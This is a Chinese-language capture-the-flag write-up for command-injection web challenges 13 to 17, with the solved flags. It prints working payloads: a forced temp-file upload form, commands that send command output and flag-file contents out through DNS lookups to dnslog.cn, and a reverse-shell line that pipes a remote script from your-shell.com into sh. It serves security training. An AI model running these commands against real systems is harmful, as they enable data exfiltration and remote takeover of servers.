web13-17
in wr1teup with 0 comment
web13-17
in wr1teup with 0 comment

web13

开启环境后,代码比较简单,不能有数字有大小写的字母
2024-07-12T11:49:19.png
由于又是命令过滤,导致无法使用异或来进行操作
如此构造一个html文件

<form action="http://dfe68b41-50a4-466a-88ae-4384ac67bdd1.challenges.ctfer.com:8080/" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="上传" />


打开本地构造网址,进行强制上传,抓包,首先进行whoami的测试
2024-07-12T11:55:57.png
2024-07-12T11:56:30.png
php会对上传的文件放入一个暂时的路径中,脚本执行完后会进行删除
执行成功
2024-07-12T11:58:22.png
继续寻找flag
发现需要不断将大写字母进行位置的尝试
2024-07-12T11:59:16.png
得到flag
2024-07-12T12:00:42.png

flag{6d7a8d27-2587-41a2-abb8-b925ab31f932}

由于临时文件编码有随机性,所以这个还需要多次尝试防止出错

web14

开启环境后,发现没有回显
2024-07-10T07:38:53.png
我们转入一个txt中,发现可以找到
2024-07-10T07:39:40.png
2024-07-10T07:41:04.png
找到flag

flag{0ba8994a-0f8e-4ada-87e9-89b186e63546}

web15

开启环境后与上题很像,也先同样操作到文件中
2024-07-10T07:46:20.png
2024-07-10T07:45:35.png
发现无法回显,于是想到借助http://dnslog.cn/的力量
首先进行测试用whoami

/?cmd=ping -c 1 `whoami`.nh03oz.dnslog.cn

成功通过DNS通道获取数据
2024-07-11T15:27:07.png
由于DNS解析无法换行等还需加工,进行10位10位来读

/?cmd=a=`sed -n "3,4p" fla?.php`;curl ${a:0:10}.nh03oz.dnslog.cn

2024-07-11T15:32:24.png
拿到前10位

$flag="fla

同理继续操作

/?cmd=a=`sed -n "3,4p" fla?.php`;curl ${a:0:10}.nh03oz.dnslog.cn

发现很难有回显,于是考虑url解析时遇到一些其他字符,采用base64

/?cmd=a=`sed -n "3,4p" fla?.php|base64`;curl ${a:0:10}.nh03oz.dnslog.cn

进行回显,base64编码,可以避免
一个一个读取flag
还未解决,连接不上于是选择另一个稳定的dns通道http://ceye.io/
2024-07-11T15:51:20.png

但是由于dns通道导致大小写错乱flag很难拿到

web16

开启环境,同样与上题相似
2024-07-10T15:23:04.png
借用工具,发送后
2024-07-10T15:25:29.png
2024-07-10T15:29:09.png
测试成功
2024-07-10T15:28:41.png
发送ls命令但是只有一个bin,因此我们需要进行编码
2024-07-10T15:29:48.png
2024-07-10T15:30:34.png
添加base64编码,成功获取
2024-07-10T15:32:25.png
2024-07-10T15:32:02.png

ZmxhZy5waHAKaW5kZXgucGhwCg==

进行解码,得到
2024-07-10T15:33:19.png
于是我们读取flag.php即可
2024-07-10T15:35:26.png
2024-07-10T15:34:58.png

PD9waHAKCiRmbGFnPSJmbGFne2M3MTdmZWY0LThhZjktNDkwYi1iM2YzLTRjM2ZjMzM2YTNhOX0i

2024-07-10T15:36:18.png
得到flag

flag{c717fef4-8af9-490b-b3f3-4c3fc336a3a9}

web17

开启环境后,发现request都被屏蔽了,于是使用反弹shell,借助平台https://your-shell.com/,这里有反弹shell的方法
2024-07-10T15:48:28.png
2024-07-10T15:43:49.png
2024-07-10T15:43:40.png
之后构造命令,进行反弹shell

/?cmd= curl https://your-shell.com/47.120.30.250:1337 | sh

2024-07-10T15:48:10.png
在服务器中得到flag
2024-07-10T15:50:39.png

flag{140874c7-2bda-4622-b635-508e27a7e744}

The article has been posted for too long and comments have been automatically closed.